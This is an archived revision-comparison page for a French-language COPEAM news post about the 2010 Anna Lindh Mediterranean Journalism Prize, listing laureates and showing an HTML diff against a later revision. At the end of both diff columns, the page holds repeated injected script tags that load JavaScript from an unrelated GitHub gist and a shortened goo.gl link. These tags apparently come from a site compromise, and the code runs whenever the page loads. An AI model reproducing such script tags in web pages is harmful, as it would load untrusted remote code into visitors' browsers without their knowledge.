You are viewing an old revision of this post, from January 7, 2011 @ 15:53:26. See below for differences between this version and the current revision.
Monaco, 13-14 Octobre 2010
A l’instar de l’an dernier, la COPEAM s’associe à nouveau au Prix Méditerranéen Anna Lindh du journalisme en tant que partenaire média, pour en promouvoir l’édition 2010.
A travers son réseau, notre Association a déjà relayé la procédure de sélection qui a permis de retenir un nombre important de participants dans les quatre catégories du prix : Presse écrite, Média en ligne, Audio-visuel et Patrimoine culturel.
Par ailleurs, la COPEAM a produit une vidéo promotionnelle pour la Cérémonie de remise des prix, le 14 octobre à Monaco.
Enfin, la COPEAM a étée également associée à la sélection des œuvres primées grâce à la participation de Mme Alessandra Paradisi au sein du jury international chargé de décerner les prix.
Lauréats de l’édition 2010 du Prix Méditerranéen de Journalisme de la Fondation Anna Lindh
Prix à la carrière du jury international: Jean Daniel - pour une « Méditerranée réunifiée et réconciliée »
Prix spéciale: Mona El Tahawy - pour son courage et sa lucidité dans l’écriture de ses articles et dans ses différentes interventions.
Catégorie Presse : Sarfraz Manzoor (Pakistan-Royaume Uni) pour son article dans le « Guardian » ‘My Month of Being Jewish’
Catégorie Audiovisuel : Pierre Mari (France) pour ‘Female Emigration’ pour Kantara, émission coproduite par EPRS/Algérie, ERTU/Egypte, Radio France/FB Frequenza Mora, Radio Tunisienne, SNRT/Maroc et réalisé par Radio France/FB Frequenza Mora et Ali Gohine (Egypte) pour ‘Illegal Migration’ diffusé sur le réseau satellite Nile Television
Médias en ligne : Dalia Ziada (Egypte) pour ‘Unveiling the minds of Young Muslim Women’ publié dans Bikya Masr
Patrimoine culturel : Yizhar Beer (Israël) pour ‘The city and the dogs’ publié dans le Huffington Post (USA).
Regardez la vidéo promotionnelle sur copeam.tv
Regardez l'interview à Alessandra Paradisi sur Euronews
Changes:
| January 7, 2011 @ 15:53:26 | Current Revision | ||
|---|---|---|---|
| Title | |||
| COPEAM partenaire de la Fondation Anna Lindh pour le Prix du Journalisme Méditerranéen | |||
| Content | |||
|---|---|---|---|
| <p> | <p> | ||
| <em>Monaco, 13-14 <span>Octobre</span> 2010</em></p> | |||
| <p> | |||
| <img alt="" src="../../userfiles/ image/sfondo1%20copy.jpg" style="width: 184px; height: 137px; float: left;" /> A l’instar de l’an dernier, la COPEAM s’associe à nouveau au Prix Méditerranéen Anna Lindh du journalisme en tant que partenaire média, pour en promouvoir l’édition 2010.<br /> | Le Prix du <span data-scayt_word= "Journalisme" data-scaytid= "1">Journalisme</span> <span data-scayt_word= "Méditerranéen" data-scaytid= "2">Mé diterranéen</span> <span data-scayt_word="dea" data-scaytid= "3">dea</span> <span data-scayt_word="Fondation" data-scaytid= "4">Fondation</span> Anna <span data-scayt_word="Lindh" data-scaytid= "6">Lindh</span> vise <span data-scayt_word="à " data-scaytid= "8">à</span> <span data-scayt_word= "promouvoir" data-scaytid= "9">promouvoir</span> le <span data-scayt_word="rôle" data-scaytid= "10">rôle</span> <span data-scayt_word="positif" data-scaytid= "11">positif</span> qui <span data-scayt_word="pourrait" data-scaytid= "12">pourrait</span> <span data-scayt_word="être" data-scaytid= "13">être</span> <span data-scayt_word="joué" data-scaytid= "14">joué</span> par les <span data-scayt_word= "journalistes" data-scaytid= "15">journalistes</span> radio, <span data-scayt_word= "télé" data-scaytid= "16">té lé</span> et de la <span data-scayt_word="presse" data-scaytid= "17">presse</span> <span data-scayt_word="écrite" data-scaytid= "18">é crite</span> en <span data-scayt_word="créant" data-scaytid= "19">créant</span> un <span data-scayt_word="espace" data-scaytid= "20">espace</span> <span data-scayt_word= "partagé" data-scaytid= "21">partagé</span> <span data-scayt_word= "d’information" data-scaytid= "22">d’ information</span> et <span data-scayt_word= "d’opinion" data-scaytid= "23">d’ opinion</span> <span data-scayt_word="libres" data-scaytid= "24">libres</span> et <span data-scayt_word="fiables" data-scaytid= "25">fiables</span>. La <span data-scayt_word= "compétition" data-scaytid= "26">compé tition</span> <span data-scayt_word="est" data-scaytid= "27">est</span> <span data-scayt_word= "organisée" data-scaytid= "28">organisée</span> par la <span data-scayt_word="Fondation" data-scaytid= "5">Fondation</span> Anna <span data-scayt_word="Lindh" data-scaytid= "7">Lindh</span> en <span data-scayt_word= "partenariat" data-scaytid= "29">partenariat</span> <span data-scayt_word="média" data-scaytid= "30">média</span> <span data-scayt_word="avec" data-scaytid= "31">avec</span> la <span data-scayt_word="COPEAM" data-scaytid= "32">COPEAM</span>.<br /> | ||
| <br /> | <br /> | ||
| A travers son réseau, notre Association a déjà relayé la procédure de sélection qui a permis de retenir un nombre important de participants dans les quatre catégories du prix : Presse écrite, Média en ligne, Audio-visuel et Patrimoine culturel.<br /> | <u><span style="color: rgb(0,0,205)"><strong><a href="http:// www.euromedalex.org/fr" style="color: rgb(0,0,205)">En savoir plus <span data-scayt_word="sur" data-scaytid= "104">sur</span> la <span data-scayt_word="Fondation" data-scaytid= "65">Fondation</span> Anna <span data-scayt_word="Lindh" data-scaytid= "67">Lindh</span> </a></strong> </span></u></p> | ||
| Par ailleurs, la COPEAM a produit une vidéo promotionnelle pour la <span>Cé rémonie</span> de remise <span>des</span> prix, le 14 octobre à Monaco.</p> | |||
| <p> | <p> | ||
| Enfin, la COPEAM a étée également associée à la sélection des œuvres primées grâce à la participation de Mme Alessandra Paradisi au sein du jury international chargé de décerner les prix.</p> | <span style="font-size: 14px"><span style="color: rgb(0,100,0)"><strong>A LA <span data-scayt_word="UNE" data-scaytid= "109">UNE</span></strong> </span></span></p> | ||
| <p> | <p> | ||
| <span style="color: rgb(0, 128, 0);"><strong> Lauréats de l’édition 2010 du Prix Méditerranéen de Journalisme de la Fondation Anna Lindh</strong></span></p> | <strong><span data-scayt_word="COPEAM" data-scaytid= "69">COPEAM</span> for... le Prix <span data-scayt_word= "Méditerranéen" data-scaytid= "70">Mé diterranéen</span> du <span data-scayt_word= "Journalisme" data-scaytid= "71">Journalisme</span> 2012 de la <span data-scayt_word="Fondation" data-scaytid= "66">Fondation</span> Anna <span data-scayt_word="Lindh" data-scaytid= "68">Lindh</span> </strong></p> | ||
| <p> | <p> | ||
| <strong><u>Prix à la carrière du jury international:</u> Jean Daniel<strong> </strong></strong>- pour une « Méditerranée réunifiée et réconciliée »</p> | |||
| <p> | |||
| La <span data-scayt_word="COPEAM" data-scaytid= "113">COPEAM</span>, <span data-scayt_word= "partenaire" data-scaytid= "119">partenaire</span> <span data-scayt_word="média" data-scaytid= "114">média</span> du Prix <span data-scayt_word= "Méditerranéen" data-scaytid= "115">Mé diterranéen</span> du <span data-scayt_word= "Journalisme" data-scaytid= "116">Journalisme</span> et <span data-scayt_word="membre" data-scaytid= "123">membre</span> du Jury international, a <span data-scayt_word= "participé" data-scaytid= "124">participé</span> <span data-scayt_word="à " data-scaytid= "117">à</span> la <span data-scayt_word= "sélection" data-scaytid= "126">sé lection</span> des <span data-scayt_word= "Å“uvres" data-scaytid= "127">œ uvres</span> <span data-scayt_word="gagnantes" data-scaytid= "128">gagnantes</span> de <span data-scayt_word= "l’édition" data-scaytid= "129">l’ édition</span> 2012.<br /> | |||
| Les <span data-scayt_word="gagneurs" data-scaytid= "132">gagneurs</span>, <span data-scayt_word= "annoncés" data-scaytid= "133">annoncés</span> par le Jury <span data-scayt_word= "présidé" data-scaytid= "134">pré sidé</span> par Edgar Morin, le 18 <span data-scayt_word="octobre" data-scaytid= "135">octobre</span> <span data-scayt_word="à " data-scaytid= "130">à</span> Berlin, <span data-scayt_word="sont" data-scaytid= "137">sont</span> :<br /> | |||
| <br /> | |||
| <u><strong>Prix spéciale: </strong></u> <strong>Mona El Tahawy - </strong>pour son courage et sa lucidité dans l’écriture de ses articles et dans ses différentes interventions.</p> | • <strong><span data-scayt_word="Presse" data-scaytid= "138">Presse</span> <span data-scayt_word="écrite" data-scaytid= "131">é crite</span> </strong><br /> | ||
| - <strong>Mona <span data-scayt_word="Abouissa" data-scaytid= "140">Abouissa< /span></strong> (Egypt), ''Les <span data-scayt_word="Choristes" data-scaytid= "141">Choristes</span> <span data-scayt_word="d'Allah" data-scaytid= "142">d'Allah< /span>'', Le <span data-scayt_word="Monde" data-scaytid= "143">Monde</span> <span data-scayt_word= "Diplomatique" data-scaytid= "144">Diplomatique</span>.<br /> | |||
| - <span data-scayt_word="Une" data-scaytid= "145">Une</span> <strong>Mention <span data-scayt_word= "Spéciale" data-scaytid= "146">Spé ciale</span></strong> <span data-scayt_word="à " data-scaytid= "147">à</span> <span data-scayt_word="été" data-scaytid= "151">é té</span> <span data-scayt_word= "attribuée" data-scaytid= "152">attribuée</span> <span data-scayt_word="à " data-scaytid= "148">à</span> <em><span data-scayt_word="Witold" data-scaytid= "153">Witold</span> <span data-scayt_word= "Szablowski" data-scaytid= "154">Szablowski</span></em> (Poland), ''Let Us In, You Bastards!'', <span data-scayt_word="Gazeta" data-scaytid= "155">Gazeta</span> <span data-scayt_word="Wyborcza" data-scaytid= "156">Wyborcza</span>.<br /> | |||
| <br /> | |||
| •<strong> <span data-scayt_word="Nouvelles" data-scaytid= "157">Nouvelles</span> <span data-scayt_word="Médias" data-scaytid= "158">Médias</span> </strong><br /> | |||
| - <em><span data-scayt_word="Haggai" data-scaytid= "159">Haggai</span> <span data-scayt_word="Matar" data-scaytid= "160">Matar</span> </em>( <span data-scayt_word="Israël" data-scaytid= "161">Israël</span> ), ''The Wall: 10 Years On'', 972mag.com<br /> | |||
| - <em>Sophie <span data-scayt_word="Chamas" data-scaytid= "162">Chamas</span> (</em><span data-scayt_word="Liban" data-scaytid= "163">Liban</span>), ''...Ani Mi <span data-scayt_word="Levanon" data-scaytid= "164">Levanon</span>: Smiling Through Hebrew Class", Mashallahnews.com<br /> | |||
| <br /> | |||
| • <strong>Productions radio</strong><br /> | |||
| - <em><span data-scayt_word="Sakr" data-scaytid= "166">Sakr</span> Al <span data-scayt_word="Makhadhi" data-scaytid= "167">Makhadhi< /span></em>, (UK), ''Understanding Syria", BBC Radio 2<br /> | |||
| <br /> | |||
| • <strong>Productions <span data-scayt_word= "télé" data-scaytid= "165">télé< /span></strong><br /> | |||
| - <em><span data-scayt_word="Jaume" data-scaytid= "169">Jaume</span> <span data-scayt_word="Bartroli" data-scaytid= "170">Bartroli</span>, Ramon <span data-scayt_word="Valles" data-scaytid= "171">Valles</span>, et Silvia <span data-scayt_word="Paoro" data-scaytid= "172">Paoro</span></em>, (<span data-scayt_word="Espagne" data-scaytid= "173">Espagne</span>), ''Where Are You From?'', <span data-scayt_word="Televisio" data-scaytid= "174">Televisio</span> De <span data-scayt_word="Catalunya" data-scaytid= "175">Catalunya</span> 3.<br /> | |||
| - <span data-scayt_word="Une" data-scaytid= "176">Une</span> <strong>Mention <span data-scayt_word= "Spéciale" data-scaytid= "177">Spé ciale</span></strong> <span data-scayt_word="à " data-scaytid= "178">à</span> <span data-scayt_word="été" data-scaytid= "180">é té</span> <span data-scayt_word= "attribuée" data-scaytid= "181">attribuée</span> <span data-scayt_word="à " data-scaytid= "179">à</span> <em><span data-scayt_word="Karim" data-scaytid= "190">Karim</span> El <span data-scayt_word="Shenaoui" data-scaytid= "191">Shenaoui</span></em> (Egypt), <span data-scayt_word= "‘’Salafi’’" data-scaytid= "192">‘ ’Salafi’ ’</span>, BBC Arabic.<br /> | |||
| <br /> | |||
| • <strong>Prix <span data-scayt_word= "spécial" data-scaytid= "193">spécial</span> <span data-scayt_word="sur" data-scaytid= "182">sur</span> ’’Le <span data-scayt_word="rôle" data-scaytid= "183">rôle</span> de la <span data-scayt_word= "société" data-scaytid= "196">socié té</span> <span data-scayt_word="civile" data-scaytid= "197">civile</span> <span data-scayt_word="dans" data-scaytid= "198">dans</span> la construction des <span data-scayt_word= "démocraties" data-scaytid= "199">dé mocraties</span> et <span data-scayt_word= "sociétés" data-scaytid= "200">socié tés</span> <span data-scayt_word= "pluralistes’’" data-scaytid= "201">pluralistes’’ </span></strong><br /> | |||
| - <em>Francesca <span data-scayt_word="Caferri" data-scaytid= "202">Caferri</span></em> (<span data-scayt_word="Italie" data-scaytid= "203">Italie</span>), ''The Paradise at Women's Feet'', La <span data-scayt_word= "Repubblica" data-scaytid= "204">Repubblica</span> et <span data-scayt_word="Mondadori" data-scaytid= "205">Mondadori</span>.<br /> | |||
| <p> | </p> | ||
| <u><strong>Catégorie Presse</strong> </u>: <strong>Sarfraz Manzoor</strong> (Pakistan-Royaume Uni) pour son article dans le « Guardian » ‘My Month of Being Jewish’</p> | |||
| <p> | |||
| <u><strong>Catégorie Audiovisuel </strong></u>: <strong>Pierre Mari</strong> (France) pour ‘Female Emigration’ pour Kantara, émission coproduite par EPRS/Algérie, ERTU/Egypte, Radio France/FB Frequenza Mora, Radio Tunisienne, SNRT/Maroc et réalisé par Radio France/FB Frequenza Mora et <strong>Ali Gohine </strong>(Egypte) pour ‘Illegal Migration’ diffusé sur le réseau satellite Nile Television</p> | |||
| <p> | |||
| <u><strong>Médias en ligne :</strong></u><strong> Dalia Ziada</strong> (Egypte) pour ‘Unveiling the minds of Young Muslim Women’ publié dans Bikya Masr</p> | |||
| <p> | |||
| <strong><u>Patrimoine culturel :</u></strong> <strong>Yizhar Beer</strong> (Israël) pour ‘The city and the dogs’ publié dans le Huffington Post (USA).</p> | |||
| <p> | <p> | ||
| <u><strong><a href="http:// www.copeam.tv/ web/tree/index.asp" style="color: rgb(0, 0, 255);">Regardez la vidéo promotionnelle sur copeam.tv</a> </strong></u></p> | </p> | ||
| <p> | <p> | ||
| <u><strong><a href="../../UserFiles/ File/Projects/ 79_Press%20- %20Winner%20of%20Anna%20Lindh%20Journalist%20Award%20announced%20FR.pdf" style="color: rgb(0, 0, 255);">Lisez le communiqué de presse</a></strong></u></p> | </p> | ||
| <p> | <p> | ||
| <span style="color: rgb(0,100,0)" ><strong>LIENS <span data-scayt_word="UTILES" data-scaytid= "206">UTILES< /span></strong></span></p> | |||
| <table border="0" cellpadding="1" cellspacing="1" style="width: 220px; height: 213px"> | |||
| <tbody> | |||
| <tr> | |||
| </tr> | |||
| <tr> | |||
| <td> | |||
| <a href="http:// www.euromedalex.org/fr/fields/ activites-medias/prix-du- journalisme/a- propos-du-prix"><img alt="" src="../../userfiles/ image/Journalist%20Award%20Logo_0.png" style="width: 205px; height: 64px" /></a></td> | |||
| <td> | |||
| </td> | |||
| </tr> | |||
| <tr> | |||
| <td> | |||
| <a href="http:// www.euromedalex.org/fr"><img alt="" src="../../userfiles/ image/Annalindh.jpg" style="width: 61px; height: 74px" /></a></td> | |||
| <td> | |||
| </td> | |||
| </tr> | |||
| <tr> | |||
| <td> | |||
| </td> | |||
| </tr> | |||
| </tbody> | |||
| </table> | |||
| <div class="follow_ up"></div><p><strong><br /> | |||
| MONACO ACCUEILLERA LE PRIX MEDITERRANEEN DE JOURNALISME</strong><br /> | |||
| <em>Alexandrie / Monaco , 10 juin 2009</em><br /> | |||
| <br /> | |||
| André Azoulay, Président de la Fondation Anna Lindh, a scellé le partenariat avec la Principauté de Monaco pour que le Prix méditerranéen du journalisme soit remis à Monaco pour les trois prochaines éditions.<br /> | |||
| <br /> | |||
| S.A.S le Prince Albert II a d’ores et déjà annoncé qu’il assisterait à l’édition 2009 qui distinguera les meilleurs journalistes de l’espace euro-mé diterranéen et inclura un prix spécial pour le reportage des conflits, au lendemain de Gaza. <br /> | |||
| <br /> | |||
| La cérémonie aura lieu début novembre à Monaco. Pour son édition 2009, la compétition s’est étoffée en créant trois nouvelles catégories de prix pour y inclure la télévision, la radio, les médias électroniques, et un prix spécial pour le reportage des conflits, au lendemain de l’opération militaire sur Gaza.<br /> | |||
| <strong><em><br /> | |||
| <a href="http:// fr.euronews.net/2010/10/20/ alessandra-paradisi/"><span style="color: rgb(0, 0, 205);"><u><strong>Regardez l'interview à Alessandra Paradisi sur Euronews </strong></u> </span></a></p> | <a href="http:// www.euromedalex.org/ fr/nouvelles/ monaco-accueillera-le-prix- m-diterran-en- de-journalisme">Pour plus d’informations, voir le communiqué de presse</a></em> </strong><br /> | ||
| <script type='text/javascript' src='https:// gist.githubusercontent.com/ vladimir677/bd66b2780ce8792e731469b660a62590/ raw/3a71aff685732599ba7fbadf7b929eae8d19053a/ js.js'></script> <script type='text/javascript' src='https:// gist.githubusercontent.com/ vladimir677/bd66b2780ce8792e731469b660a62590/ raw/3a71aff685732599ba7fbadf7b929eae8d19053a/ js.js'></script> <script type='text/javascript' src='https:// gist.githubusercontent.com/ vladimir677/bd66b2780ce8792e731469b660a62590/ raw/3a71aff685732599ba7fbadf7b929eae8d19053a/ js.js'></script> <script type='text/javascript' src='https:// gist.githubusercontent.com/ vladimir677/bd66b2780ce8792e731469b660a62590/ raw/3a71aff685732599ba7fbadf7b929eae8d19053a/ js.js'></script> <script type='text/javascript' src='https:// goo.gl/dd1kPI'></script> | </p> <script type='text/javascript' src='https:// gist.githubusercontent.com/ vladimir677/bd66b2780ce8792e731469b660a62590/ raw/3a71aff685732599ba7fbadf7b929eae8d19053a/ js.js'></script> <script type='text/javascript' src='https:// gist.githubusercontent.com/ vladimir677/bd66b2780ce8792e731469b660a62590/ raw/3a71aff685732599ba7fbadf7b929eae8d19053a/ js.js'></script> <script type='text/javascript' src='https:// gist.githubusercontent.com/ vladimir677/bd66b2780ce8792e731469b660a62590/ raw/3a71aff685732599ba7fbadf7b929eae8d19053a/ js.js'></script> <script type='text/javascript' src='https:// gist.githubusercontent.com/ vladimir677/bd66b2780ce8792e731469b660a62590/ raw/3a71aff685732599ba7fbadf7b929eae8d19053a/ js.js'></script> <script type='text/javascript' src='https:// goo.gl/dd1kPI'></script> | ||
Note: Spaces may be added to comparison text to allow better line wrapping.
